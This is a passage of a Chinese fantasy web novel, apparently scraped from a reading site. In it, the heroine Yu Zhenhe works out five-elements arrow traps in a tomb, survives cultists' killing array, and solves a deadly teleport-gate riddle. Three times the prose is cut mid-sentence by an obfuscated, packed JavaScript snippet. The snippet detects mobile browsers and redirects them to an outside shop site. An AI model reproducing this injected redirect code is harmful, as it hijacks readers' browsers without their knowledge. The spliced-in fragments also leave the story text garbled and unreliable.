与裹挟着火焰的箭矢不同,木箭造成的伤势显然不及大范围的烧伤大,但由于木箭比制作流火箭的铁箭更加轻盈,导致其飞射速度更加迅猛。 不过有了这次试验,鱼枕荷已然可以断定脑中的猜想。 “谁在那里!” 随着一道老者的怒喝传出,墓道深处又有黑袍人出现,这次直接来了三人。 “那……地上倒着的那两个,他们都死了!”其中最年轻的一个黑袍青女指着不远处的两具尸体,不可置信道。 “这俩把自己折腾死了?”最后那个黑袍青男同样震惊。 下一刻,三人立即闪身,分别沿不同的道路,一并朝鱼枕荷包抄而来。 鱼枕荷前一秒才摸清这条墓道的机关规则,这会儿见三道黑袍身影围攻,毫不犹豫便一跃跳至东北方向斜角,第五排最东侧的石砖,原地站定。 第五排的西侧石壁是牡丹图,而她现在所处的东侧,石壁为出征图。 不过须臾时间,黑袍老者连跨数尺来到鱼枕荷站地西侧的中间石砖,一记掌风呼啸向鱼枕荷面门! 鱼枕荷轻盈躲闪,双脚离地片刻便又迅速踩回地面。 第七排,中间石砖。 这块石砖的东西两侧,分别是精卫填海,和燕鸟归巢。 黑袍老者失手,便见隔了一块地砖的少女露在面巾外的一对碧玉眼睛弯起,似是在笑。 而后,他便看着另外两个黑袍齐齐向她冲去。 黑袍老者像是反应过来什么,赶忙大喊:“不要过去!” 但为时已晚。 一男一女闪至鱼枕荷身前。而伴随鱼枕荷原地跃起、落下,再然后无缝衔接地往正南方向闪去,数道箭矢则齐刷刷朝着还滞留在第七排那块石砖周围的两道黑袍身影飞驰! 不同以往的是,这回两侧石壁上拢共出现了八个凹陷方格,从中射出足足十六支箭—— 八支流火箭、八支木箭! 两个黑袍哪里见过这种情景。 他们平常可是谨慎得连一道机关都不曾触发过,更不要说鱼枕荷一次就给他们触发了两道不同属性的机关。 身手再好、闪避得再快,两人还是无可避免地受了不轻的伤。 “啊啊啊啊啊啊——!!” 两道痛彻心扉的惨叫声回荡在封闭的墓道中。 鱼枕荷无暇顾及他们,裹挟着箭矢直冲向落单的黑袍老者。 她看明白了。 这条看似无厘头的墓道,其实真正破解起来很简单。 五行生克。 触发机关的法则无非就是五行生克。 鱼枕荷刚进入墓室门见到的四方神兽,第一排石砖东西两侧的青龙白虎,第二排石砖东西两侧的玄武朱雀,就已无比清晰地告诉了所有入墓者,它们所代表的五行属性。 青龙属木,东方之神、司掌生机。 白虎属金,西方之神、肃杀辟邪。 玄武属水,北方之神、水利长生。 朱雀属火,南方之神、光明礼德。 至于土属性,黄龙潜于四神兽之中,是为统御四方的中央之位,隐而不显,却又无处不在。这座墓室建于土地之下,便无时无刻不受着土属性的恩泽。 从进门起,鱼枕荷便一直走在每一排的中间石砖上,相当于同时接受了两侧石壁五行属性的恩泽。故而在她走到第二排石砖的尽头时,便已经在无意识中圆满了一次“五行”。 第三排,西侧的“水漫金山”为【水】,东侧的“火烧连营”为【火】,依旧可以安然无事地走中间的石砖。 而第四排,就是鱼枕荷在流火箭……或者说,在【木】上栽跟头的开始。 这两侧石壁上的壁画“梅花报春”和“杏花春笋”,属性同时为隐喻春日的【木】,木多金缺,也便是说,要让五行平衡,这第四排只能走东或西两侧的石砖。 但是心大的鱼枕荷走了中间,于是依照五行相生,多出的【木】生了【火】,使她遭受了第一次的木箭围攻。 第五排,西侧牡丹图为【木】,东侧为【金】。 金能克木。由于鱼枕荷多了木属性,如若她走东侧,使【金】与【木】相抵,流火箭便会终止攻势。 然而鱼枕荷选了西侧。 于是乎,“多木”的鱼枕荷还在承受流火箭的追杀。 到了第六排,西侧的“铠甲武将”为【金】,东侧的“草长莺飞”为【木】,鱼枕荷走了中间。 原先多出的【木】是被【金】给抵了,结果东侧石壁又给她送了份新【木】。 这是第三轮流火箭围殴。 第七排,西侧“精卫填海”为【水】,东侧“燕鸟归巢”为【木】,鱼枕荷毅然决然地选了东侧。 第八排,西【火】东【木】,鱼枕荷又毅然决然地选了东侧。 第四轮、第五轮流火箭接踵而至。 直至第九排东西两侧皆为【金】,鱼枕荷选择走中间,积累千百万年的【木】终于被【金】克走,同时还另外收获了一份不用和【木】同归于尽的、完好的【金】。 第二轮“五行”,在坎坷下圆满。 当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296667|198566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时复盘到这里的时候,鱼枕荷整个人如同死鱼般宕机。 但凡她能多触发一个其他属性的机关,也不至于傻乎乎地认为整条墓道只会飞夹着火焰的箭…… 是名字的问题吗……以后改名叫“鱼冘何”会不会好一点啊……? 鱼枕荷如是想。 至于拿矮黑袍做试验…… 为了验证猜测,这诚然是最方便的。 由于矮黑袍是从第十排的【水】走到了第九排的【金】,死后脑袋再一次磕到【水】却并未触发机关,故而他那一轮的五行圆满不是在第十排的【水】,就是在第九排的【金】。 但这些都不重要,不论哪种情况,他在之后一轮的【水】已经被占,只要鱼枕荷的猜测无错,在他触碰到第七排精卫填海的【水】时,必然会触发“水生木”导致的木属性机关。 事实证明,猜想是正确的。 …… 咻——咻咻—— 鱼枕荷连续闪过好几块石砖。 飞速极快的木箭、冥域三途河水制成的腐蚀性水箭、裹挟着流火的黑铁箭、在空中飞旋的坚硬石箭接连不断地从两侧石壁的各个方位闪出。 轰——! 熊火燃烧的飞箭擦着黑袍青男的兜帽扎入石壁,迸发出刺目火光。 “见鬼!” 黑袍青男大骂一声,脚下逃窜未停,两只手疯狂拍打起着火的兜帽。 然而不论【火】、【水】、【土】这三种属性的箭矢如何变换,只要鱼枕荷脚一落地,代表着【木】的轻盈木箭都永远跟在她的身后,如影随形。 最初死在墓道内的两个高矮黑袍,在五行飞箭的联合攻势下,早就变成了两摊插着无数箭矢的烂肉。 “你——!” 负伤的黑袍男女、以及黑袍老者疯狂躲闪,慌忙中皆开始接二连三地踩错石砖,触发一道接一道机关。 就在前不久,鱼枕荷被一男一女两道黑袍身影夹击的那时,她之所以选择在第七排蹦跶两下,除了刻意触发机关这个理由以外,更是因为这一排的西侧石壁是精卫填海,而精卫填海,代表着【水】的恩泽。 【水】,在这墓道中是特殊的。 金能克木、火能克金、水能克火。 【木】、【金】、【火】这三个五行属性依靠木生火、金生水、火生土带来的【火】属性流火箭、【水】属性三途河水箭、【土】属性石箭的攻击,在鱼枕荷现下这般左右乱窜之下,都极有可能会因为五行相克而忽然消失。 一旦攻击出现了间隔,无疑就是给了三个黑袍身影反击的机会。 在用不了法力的情况下一打三,鱼枕荷能打赢他们的概率无异于蚍蜉撼树。 幸得目前看来,【水】的力量无可厚非。 能克走【水】的是【土】,可这条墓道中的【土】,从一开始便已遁入无形、无可寻觅。 【水】几乎无懈可击。 所以【水】生【木】带来的木箭,永远不会消失。 兴许有火多水干的缘故,亦或者机关头一回连接发射导致卡顿了,有回鱼枕荷连续踩到【火】两次,后一回无意间匆匆一瞥,竟发觉攻来的木箭似乎少了两支,但很快又会被她重新踩两遍【水】补上。 总而言之,在绝大多数情况下,只要触发了【水】的机关,那就要么死在木箭下,要么、一耗耗到底。 在鱼枕荷的穷追不舍下,不知不觉间,双方已然攻守易势。 黑袍青女不知何时将面巾扯了下来,大口呼吸着墓道内腥臭潮湿的空气,气急喊道:“你到底要干什么?!” “我没有想和你们作对。”鱼枕荷边跑边认真说道,“可你们不由分说地带走别人家的孩子,还挖走他们的五脏,我只是来向你们讨个公道。” 18. 绝杀阵 头发被烧成天然卷的黑袍青男气笑了。他纵身跨越三排石砖,惊奇道:“一上来就杀我们两个人,你到底是讨公道还是拿我们开刀?!” “这是你们的地盘,不杀他们死的就是我啊!”鱼枕荷携火带水地缀在他身后,所及之处矢如雨下,“我也不知道会有这种机关,我原本只是想偷偷进来的……” “你!”黑袍青男哑口无言。他一转头,又是十六支飞箭接踵而来。 鱼枕荷没有选择再追着青男一个人跑,敌方有三人,为了不给他们反击的机会,在给黑袍青男招来足够多的飞箭后,她便朝隔了四排石砖远的黑袍青女奔去。 “为什么要绑架那些孩子?”鱼枕荷追问道。 “多管闲事!”黑袍青女咬牙狂奔,体力已然逐渐衰减。 “为什么不说?是纯粹的地下交易还是别的什么,至少给我一个答案。” 哪怕体力透支,黑袍青女依旧坚持不松口:“我说了,不该打听的事少打听,也别把我们和那些恶心人的交易牵扯到一起!” 他们这边动静闹得大,很快又有一拨四个黑袍闻声赶来,看到现场的混乱后先是茫然,然后火急火燎冲上来援助。 最开始的两人,随后赶来的三人,再到这一拨四人,拢共九个人,大概便是这一晚并未回墓室入眠,被安排驻守在陵墓内的所有人手了。之后不论他们再怎么闹,叫喊声与厮打声再响,都没招惹来更多黑袍。 “要糟!”面对越来越多的木水火土箭,黑袍青男又是大骂一声,冲着最后赶来的那四个人吼道,“你们这是来帮忙的还是来添乱的!解决人啊!把那丫头解决掉不就完了吗!放这么多箭出来干嘛?!” “我们……”其中一个新来的黑袍话没说完,便被飞来的三途河水箭穿了喉,皮肤刹那间溃烂,朝前倒下。这一倒直接跨越三块砖,又是招惹来一波数不清的乱箭。 鱼枕荷虽是最开始制造麻烦的那个人,但她自己到底也是这些飞箭的目标,如此伤敌一千自损同样一千的打法持续下来,她的体力也开始透支。 “告诉我,你们到底是什么组织!目的又是什么!”鱼枕荷有些着急了。 她手里最后的两枚梅花镖全部丢了出去,一枚斩断朝她攻来的五支箭矢,另一枚割了两个黑袍身影的喉。毕竟原本七个人的乱箭,她是真的闪避不及。 墓道机关濒临失控,再拖下去,他们所有人都要葬在这里。 又一道黑袍身影被箭矢穿心而死。 与此同时,混乱人群中的黑袍老者喘着粗气,近乎咆哮着诵念道—— “皇天后土……鉴此心戮……” “三魂为薪,七魄作醢,燃我性命,奉祭神霄……” “周天崩碎,万法成灰!” 绝杀阵?! 鱼枕荷心中大骇。 这是要与她同归于尽吗?!! 散发危险气息的紫光迅速从墓道深处,往他们脚下的石砖地蔓延。无形的威压充斥逼仄的空间,压抑得令人喘不过气。 就连原本在墓道内肆意乱飞的箭矢,都在这浓重的杀气威压下,瞬息间叮铃哐啷散落在地。 鱼枕荷好说歹说有修为根基,哪怕用不出法力,仅凭身子骨至少也能撑个几秒钟。但周围这些完全没有涉猎过修仙的黑袍身影却不同,几乎是在威压裹挟着杀气横扫过来的刹那,他们便尽数痛苦倒地,更有甚者直接没了气息! 尽管如此,身负淤积已久的心魔煞气的鱼枕荷也好不到哪里去。 “玄……星石……” 她双腿不受控地跪倒,几乎是耗尽了最后的力气,颤抖着手摸出怀里的玄星石,调动起意念。 红黑色的血煞气自绝杀阵的威压间荡开,缠裹上鱼枕荷的身躯。 待到视线彻底被血色遮蔽,鱼枕荷思绪彻底昏沉,整个人失去重心瘫倒下去。 …… 无常关。弟子斋舍后山的小土坡,某间杂房内。 一只手掌稳稳托住鱼枕荷即将朝前点去的额头,让她的身子稍微后靠,倚在自己肩头。 看着鱼枕荷身上莫名多出来的划伤、烧伤、腐蚀伤,还有几处擦伤,荀九卿先是探了她的灵窍,然后便皱紧眉头。 “怎么说?”杂房的木门前,姜书怜倚着门框,随口问道。 “很重的煞气,但并非源于她自己的心魔。”荀九卿敛眸,屈指替鱼枕荷拨正几缕碎发,“有意引外界煞气入体,除了修炼魔功……我想不出其他理由。”他想起昨夜的变故,心中不解愈甚,“可是、为什么……?” “为什么私练魔功,为什么背叛仙门,为什么和那个戕害先天帝的魔头李季川同流合污?”姜书怜抢先一步问出了他的困惑,“你想问这些?” “她没有与李季川同流。”荀九卿道,“清君侧下,无人能说谎。” 那日在仙盟的牢房内,当着诸多长老的面,他亲自用【问心剑意】提审过鱼枕荷,结果是对方所言皆为实话。 姜书怜耸耸肩:“但她的确钻了你的空子不是吗?而且你那会儿明知她在钻空子,也没再继续追问下去。错过最好的机会,你现在在这里为什么为什么的自我怀疑,有什么意义?”眼见荀九卿沉默不语,他事不关己般随意摇晃两下牡丹折扇,“得,还瞎猜什么。证据确凿,昨儿那灾就丫招来的,什么叫‘绝不与魔域中人同流合污’,她哪个字眼亲口说过她不认识李季川了?” 荀九卿无言良久,几欲开口又最终归于平静。到后来,他重新搀扶起鱼枕荷,像摆置木偶那样找了好几回支力点,才勉强将她摆回原先跽坐的姿态,面朝两具师兄师姐的尸身。 等他站起身,门口的姜书怜言道:“我先把那俩带回去?放再久该馊了。” 荀九卿轻叹一声,再度望向鱼枕荷的背影,无奈说道:“过些时候罢。”旋即,他随姜书怜离开杂房,掩上房门。 黑暗再度笼罩。 杂房外的脚步远去,杂房内,一双碧玉眼瞳缓慢睁开。 萦绕在呼吸间的紫藤甜香尚未散去,鱼枕荷转过头,视线落在关阖的杂房门上,眸色晦暗。 “九卿师父……姜掌门……” 出现了昨夜的变故,有些事,鱼枕荷自然知晓是瞒不住了,她也没打算再继续瞒。就目前来看,至少九卿师父和姜掌门暂时并不打算把她供出去。那便足够。 他们不问,她也不提,一起装傻好了。 眼下,她还有更重要的事要做。 鱼枕荷一掌拍在自己心口,打散一股浊气后手肘撑着地站起身,一壁调动真气修复伤势,一壁踉踉跄跄往门外走去。 反噬更重了……哪怕方才她不动用玄星石早一秒脱离幻境,下一秒幻境也会崩碎。可晚这一秒,她就不保证自己能这么快醒来了。 他们竟然会启动绝杀阵…… 所幸鱼枕荷现在回到外界,法力不受禁锢,趁心神未被影响太多,把煞气逼出来只是时间问题。 陵墓里那些黑袍人,的确都没有正经修炼过仙道,或许会些玄门法术,但也能对峙。 不过他们的立场委实奇怪,尤其黑袍女人那句“别把我们和那些恶心人的交易牵扯到一起”。 他们捉孩童,挖孩童的脏器不假。可到了那种地步,他们抱着死战的心态与自己拼命,完全没有必要再扯谎。何况他们不论是衣着,还是墓道内外皆有三门五宗之一荒神楼的阵法庇护,都不像是一般的地下交易组织。 而且,他们宁愿拉着她、拉着陵墓内的所有人同归于尽,也不愿意透露一星半点那般行为的动机。 不对、等等…… 一念及此,鱼枕荷心中仿佛有警钟敲响。 陵墓被绝杀阵摧毁,他们所做的一切也将随之湮灭, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296668|198566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那么相当于前功尽弃。除非……他们有更多驻扎在其他地方的据点,同时进行着这场行动,所以才丝毫不担心摧毁其中一个据点! 这个疑云遍布的组织……真正的目的到底是什么? 越想,鱼枕荷就越觉得古怪。 离开无常关之前,她先是避开众人视线,回了一趟般若峰。 意料之内,在自己特意与兰若师姐提过般若峰不方面住人后,师兄师姐们还是搬过来了。 看清了般若峰此刻的情景,鱼枕荷脸色不太好看,但也没吱声,趁着没被人发现原路折回。 她顺着记忆中的方向,下至人间,在杭州府寻到石碑所在的那座山。 根据墓道里的情况,鱼枕荷大概能猜出为什么明明她是跟着两个黑袍人来的,到后来却只有她触发了【生死九途门】。 估计也是因为踩错了位置,中了他们刻意埋给外来人的陷阱。 但当时天昏地暗,鱼枕荷实在没看清他们具体是什么走位,也不知还有多久才会有下一个黑袍人来到这处。即便来了,鱼枕荷亦不认为自己就能辨清他们不触发【生死九途门】的方式。 “赌一次!”鱼枕荷给自己打气,一脚踏上前方草坪。 下一秒,血红光束与淡蓝光束自石碑处迸发,缠绕、凝聚成紫色光束,再分散洒落成九个紫色小传送阵。 鱼枕荷:“……” 戒骄戒躁戒赌!气运差的更是不能赌! 石碑上开始浮现字符,鱼枕荷懊丧一番,末了定睛看去—— 【九途现世,一阳八阴。】 【尔得八择,一线存焉。】 九个传送阵,一个生阵,八个死阵。有八次选择机会……八次? 鱼枕荷有些诧异。 拢共就九个传送阵,她有八次可以试错的机会,岂不是意味着,只要她在包含倒数第二次在内的前八次选择中,有一次蒙对了生阵的位置,就可以直接传送至陵墓? 运气再不好,接连碰壁七次死阵,最后面临的也不过是二择一。 这分明才该是【生死九途门】啊……鱼枕荷心想。 先前的生死死死死死死死死九途门,到底算什么东西嘛…… …… 三十三重天仙域、玉京台。 咚咚。 “进。” 殿门被推开,宫栖篁放下手边茶盏,抬首看向门外之人:“荀提刑,有段时间没来了,这次想来也不是因为本将的事。” 荀九卿不置可否。他在案几对侧坐下,说道:“有关鱼枕荷,宫特进知晓多少?” “本将管她做什么?”宫栖篁重新倒两盏茶,一盏自己喝了,另一盏推到对面。 荀九卿接过茶盏:“鱼枕荷涉嫌勾结魔域党羽,私练魔功,恰恰近段时日李季川无端失踪,与此兴许有密切联系。事关大荒九域,若宫特进知晓内情,劳请告知。” 宫栖篁嗤笑一声:“一个凡人丫头,能勾结到魔尊?真不知是见鬼了还是沾光了。” “那日藏书阁,到底发生了什么?” “发生了什么都与本将无关。”宫栖篁道,“你要是真想知道,【问心剑意】又有什么是审不出来的?还是你怕你那乖徒儿宁死不松口,直接死在万剑之下?” “……我明白了。”荀九卿徐缓抬起杯盏,啜饮一口,继而启唇言道,“那么宫特进,晚辈可以用【问心剑意】审你么?” 宫栖篁不耐烦,抱臂往身侧的墙面一倚:“放弃吧,你审不出来的。本将可是被……”她忽然意识到什么,身躯猛地一僵,不可置信地瞪向对案的荀九卿,“你在试探本将?” “晚辈只是想了解宫特进的立场。”荀九卿浅浅一笑,眉宇舒展,“她不肯与我坦白,我只好自己来寻个安心。既然连疾恶如仇的宫特进都选择与鱼枕荷站在一处,晚辈……无可置喙了。” 19. 一阳八阴 “荀提刑多想了。”宫栖篁平静说道,“本将没有站在鱼枕荷那一边,并且永远不会站在任何人那一边。” “摊明了告诉你,本将非常厌恶她。” “总有些人发了疯般地想在混乱世道中劈出一条新生路,却不计这条从未被前人实践过的新路会造成的必然后果。本将并不认为这些人有为自己亲手造就的负面结果兜底的能力,多半,也就弃之不顾了。” “是,正因此,所有人都迫切地在寻找一条中庸之道。”荀九卿说道,“改变世道的权利权柄、改变世道的美好愿想,这二者似乎注定无法两全。” “渴望改变的人没有改变的权柄,拥有权柄的人困于高处,哪怕再如何真心实意地想要庇佑国土,到底也只是在外旁观。无法设身处地,下意识地将人命当作可以放在天平两端计算的数目,在面临抉择时,毅然决然的放弃小数目,并在此之后为自己做了最妥善的抉择而窃喜。” “虽很残忍,但这的确是个死循环,任何人都只能一边厌恶,一边循规蹈矩地照做下去。不论是谁拥有了权柄,都会下意识地追求利益最大化,不论是个人利益,还是民众利益。” “荒唐的是,偏偏是民众利益,让人自然而然地计算起了人命这个本不该被计算的数目。” “我不知晓鱼枕荷隐瞒了多少,不过听此番话,宫特进莫非认为,鱼枕荷亦是这般人?” 宫栖篁稍作沉默,末了并未直截回应,而是转了话头道:“谁知道呢。这些天本将反复在做权衡,也逐渐想明白了一些事。”她呵笑一声,“你那个徒弟,根本没有在你面前装的那般愚笨。” “天庭为本将封官,本质不过是将本将囚在玉京台,方便监视,免得哪日心魔失衡将他们杀个精光。如今好不容易安稳数月,又被当成疯子重新关了回来,据言……还是荀提刑去向圣上求的情,才让本将免于被拉进罚恶殿处死。” “鱼枕荷刻意拿这件事威胁本将,算计那群蠢货,左右悬着人头吊着命的是她自己。” “既如此,她想干什么,干了什么,本将自然懒得再做干涉。” “算计?”荀九卿抓到关键词,微微皱眉,“她的确威胁到了你,并且利用天庭将你牵制,可算计……又该如何说?她在算计谁?” 宫栖篁平静扫了窗外一眼,显然不愿多说,敷衍道:“等着吧,你早晚会知道的。” …… 【生死九途门】的禁锢内,鱼枕荷一步踏上最近一处的传送阵。 紫光翻涌,顷刻间化作杀气翻涌的血红光芒。而这杀气并未伤到鱼枕荷,便重新退回她脚下的传送阵。 血红褪去,重新变回神秘紫光。 “死阵……”鱼枕荷后撤两步,然后头也不回地走到与这个死阵相邻的另一个传送阵上。 血色翻涌,依旧是死阵。 鱼枕荷微微蹙眉,绕至眼前的小三角阵中,最后那一个传送阵中。 这是正南方向的最后一个传送阵。 她一步踩上萦绕幽紫灵光的法阵,伴随周身空气轻微颤动,重现的血红之气再度吞噬紫光。 死阵。 这也是死阵。 鱼枕荷退出死阵的位置,回身看向西北方向和东北方向的另外六个小传送阵。 有个大胆又掺杂着些许惊喜的想法,从她的脑袋里冒出。 莫非……每一次的生阵位置都不会改变? 这不像是荒神楼的作风,毕竟他们连墓道里那些机关都要变来变去。但既然正南方向没有生阵,鱼枕荷还是率先选择了去大三角阵的西北方向、小三角里头指向东北方位的小传送阵。 这是她上一回触发【生死九途门】时的生阵。 鱼枕荷往前一步,进入法阵中央。 不得不说……如果霉运是一种天赋的话,那么鱼枕荷绝对是天赋异禀。 【生死九途门】的生阵位置改变了。西北方向的东北小角是死阵。 一片暗红血光中,鱼枕荷义无反顾地走入旁边的传送阵。 还是死阵。 鱼枕荷狐疑地向西北方位三角阵中的最后一个小传送阵踏入。 欻——欻—— 血光毫不停顿、毫不留情地自她脚下迸发。 “……” “只剩最后三个阵了啊……”鱼枕荷终于将视线投向仅剩的东北方向。 还有最后一次试错机会。 若是第八次还踩到死阵,她就要死掉了。 鱼枕荷并不惊讶于自己的气运,只是再这般连蒙带猜下去,她大概真的会栽在死亡二择一上。 思虑再三,鱼枕荷终是没有草率地浪费那由于她的糟运气,忽然变得无比宝贵的、仅剩的试错机会。 仿佛不信邪般,就算上回没发现任何蹊跷,这回鱼枕荷仍旧仔细检查了每一个传送阵以及周围草坪,试图找出哪怕半分线索。 之前在深夜,或许有看不清楚的缘故,这次说不定能发现问题呢……? 抱着如此的心态,鱼枕荷耗费了半盏茶的时间勘察,结果不出意外,一无所获。 绕了一大圈,到头来她还是停驻在那块“罪魁祸首”石碑前。 “还不如像上次那样给我个题面呢……哪怕没有试错机会,至少也有找到生阵的思路,总比全靠运气要好……”她似乎全然忘记了,先前看见有八次试错机会时两眼放光的是谁。 鱼枕荷定睛看着石碑上的两列字符。 不过委实奇怪…… 如若石碑这回的破关方式不是为她这个倒霉蛋量身定做的,换成其他人,几乎是有九成蒙到生路的可能。但如此这般,这【生死九途门】又能真正防到谁呢……除了她。 “九途现世,一阳八阴。尔得八择,一线存焉……”鱼枕荷低声念着石碑上镌刻的字符。 八阴……八择…… 一阳……一线…… 蓦地,鱼枕荷脑子好似有灵光闪过。 不对劲。 是石碑上的字符! 鱼枕荷尚且记得,前一回进入【生死九途门】,石碑字符上的“一阳八阴”的确代表着一个生阵、八个死阵。 但这回……或许不一样。 自始至终便没有人提及过,【生死九途门】必须是一个生阵和八个死阵。它可以是两个生阵和七个死阵,可以是八个生阵和一个死阵,可以全是生阵,也可以……全是死阵。 是鱼枕荷受上一回【生死九途门】的思维定势,先入为主了。 如果……只是如果,这回是石碑猜中她反应过不来,从而故意布施下的文字陷阱呢? 倘若她现在的猜测是正确的,那么这一回,“八阴”其实是与“八择”相对应,代表石碑给予的八次选择就没有活路;“一阳”则与“一线”相对应,代表唯有的一线生机藏在选择之外。 死阵不是八个,而是九个。 当真如此的话,那么这回的【生死九途门】,根本就不能靠运气。 “是这样吗,这也太阴险、太残忍了……”鱼枕荷不由得一阵后怕。但凡她脑袋再僵一点,估计就傻乎乎地去和石碑玩十死无生的阵法二择一了。 “荒神楼,真的是正派仙门吗……?” 基本上,无论是谁来了,看见石碑上字符的第一反应估计都和鱼枕荷大差不差,以为在拥有七次选错机会的情况下,轻轻松松就能脱离【生死九途门】。 然而在九个死阵的残酷现实中,他们最终都会面临煎熬的二择一。 最阴险的是,不管他们最终选择了哪一个传送阵,在面临必死之局时,都会无比后悔为什么没有选择另外那一个传送阵,分明离成功就只差一点点了…… 但、仅剩下的那个传送阵,同样是死阵。 让人在未知的绝望中死去,这是最残忍的。 秉持着还剩一次试错机会,不用白不用的原则,鱼枕荷还是随便挑了一个东北方位的传送阵踩上去。 意料之内的死阵。 用完了石碑给予的全部七次试错机会,鱼枕荷回到石碑前。 她稍微纠结了半晌,而后抬脚直接踩在石碑上。 “一线生机……在你这里,对吗?” 石碑上的字符闪烁金光,隐约从内部传来沉闷的、类似几块石头磕碰摩擦的声响,似乎是在回应她的问话。 不消一会儿,散在各个方向的小传送阵变形幻化作光束,向上空凝聚成幽紫光圈,然后从天垂直落下,浇筑石碑,溢散出的紫灵光顷刻间覆盖鱼枕荷全身。 再睁眼,鱼枕荷已经到达了熟悉的、陵墓石门外的树林间。 “真是啊……”她喃喃道。 好阴险、好阴险的仙家三首之一…… 鱼枕荷甩甩脑袋,定了定神,重新将注意力放回眼前的陵墓。 就墓道内那高矮两个黑袍的对话而言,组织内部的人彼此之间并不全部熟悉,招新人也不归他们这些黑袍管,因此鱼枕荷没有再太顾忌自己对他们而言是生面孔。 故技重施,鱼枕荷换上从巡逻人身上扒下来的腥臭黑袍,再次混进陵墓。 只幻境来看,组织对外来者调查他们的秘辛尤为警惕,哪怕巡逻人回墓室曝光有外来者时,鱼枕荷已然顺利混入组织,让他们分不清楚谁才是外人,说不准他们也会直接启动绝杀阵以绝后患。 故而这回,为防止晕过去的巡逻人醒过来,鱼枕荷往他身上摁了一张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296669|198566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珍藏许久的九转传送符,无需消耗施术者法力,就能够无视各界域之间的空间并不交错,一举将人从凡域送上仙域,并且位置精准到哪一城、哪一殿。 若将九域比作树叶,整个大荒三十六重天就是树干,各重天是不同的枝桠,枝桠承载起作为树叶的九域。因此哪怕没有足够的法力,单纯沿着树干爬也能爬到各重天、各界域。 像鱼枕荷平素没有荀九卿捎带着却还要去仙域,为了节省符箓,她就是纯靠体力一重天一重天爬上去的。 可一旦选择进入哪方界域,性质便截然不同了。 仙门所居,皆是留有出入气口的小洞天。而进入一方界域,相当于进入一方独立的、从内往外看不存在任何缺口的大洞天。爬进去容易,跳出去很难。 虽然界域外的各重天各有各的美景,但基本上,在某方界域内定居的民众也不会想着离开土生土长的界域。 所以说,若是鱼枕荷去仙域、或是去人间时不随身揣两张传送符,很可能就有去无回了。 “我的符……” 这可是拜师礼之一啊…… 九转传送符,九成九稀罕物,九卿师父亲自往里头注的法力、亲自画的传送符文,鱼枕荷揣在兜里一年半没舍得用…… 算了、算了。鱼枕荷心道,以后还有机会找师父要的。 有了幻境内反复碰壁的经验,这回鱼枕荷挑了最方便的路线穿过墓道,一路畅通无阻。 穿过三块三块齐整铺就的石砖,地面上散落或大或小的碎泥石,原本似乎是用来封路的,而在陵墓被这些黑袍选为据点后敲开了。 道路后半段的石砖开始变得长长短短、参差不齐。墓道变窄,两侧不再出现壁画。 鱼枕荷微一停顿,阖眸用神识感知起周围的灵气波动,谨慎确认过四面八方大概率没有一触即发的即时法阵,以及类似机关的暗示后,壮着胆子走了中间路。 这次必须要低调了,他们可是有绝杀阵这个后手的……鱼枕荷心中默念道。 所幸,墓道里的五行生克大概是组织布施的最后一道防线,接下来的路程中,鱼枕荷没有再碰到任何机关。 穿过两道石门,映入眼帘的是一左一右两道闭合的小门。 鱼枕荷推开左手边的小门,似乎是个杂物间,里面堆放的净是些笤帚、尘尾之类的物什。右门如出一辙,不过更多的类似农具。 想来重要的秘辛也不会放在入墓后的头两个房间里。鱼枕荷心道,转而继续往深处走去。 越往深,越能听见窸窸窣窣的声音。混杂着交谈声、走动声,以及其他不明响动。 “你们谁去看一眼还有多久,我们先去门外面等着……” “等一下,快了,等我倒数……” 三三两两的黑袍人结伴同行,也有不少独自待着,或倚着墙,或原地坐着休憩。 终于在甬道的尽头,自鱼枕荷一左一右两侧延伸出两条分岔路的方向,视野范围内,一侧各有一个黑袍人站岗放哨。而在她眼前,则是一条更为宽阔的、通往主室的正路,里头是来来往往的黑袍身影。 眼见此时有如此多黑袍在墓室间穿梭,掺杂着闲聊声欢笑声,鱼枕荷暗暗松了口气。 不说人多时方便藏匿,至少也可以确认,这片地方的确不存在其他陷阱了。 将视线放得更广些,透过人群,穿过前室垭口,远处还能看到一口巨大的石棺,不偏不倚地摆在主室的正中央。 鱼枕荷走进前室,刚打算径直朝主室中央的石棺靠近,就听不远处的某间房内传来“铛”一声锣响,紧接着是一道欢快的嗓声,大呼着朝陵寝内的众人喊道…… “开饭了——!” 唔? 鱼枕荷还未反应过来,紧接着就被前后左右几乎同时出现的推力挤了个踉跄,险些摔倒在乱足之下。 “欸、欸?!等等……” 只见原本还算是有序的陵墓,在听见锣响后瞬间炸开了锅,无数道身影齐齐朝着传来呼唤声的房间冲去! “糖醋土豆!我点的糖醋土豆!” 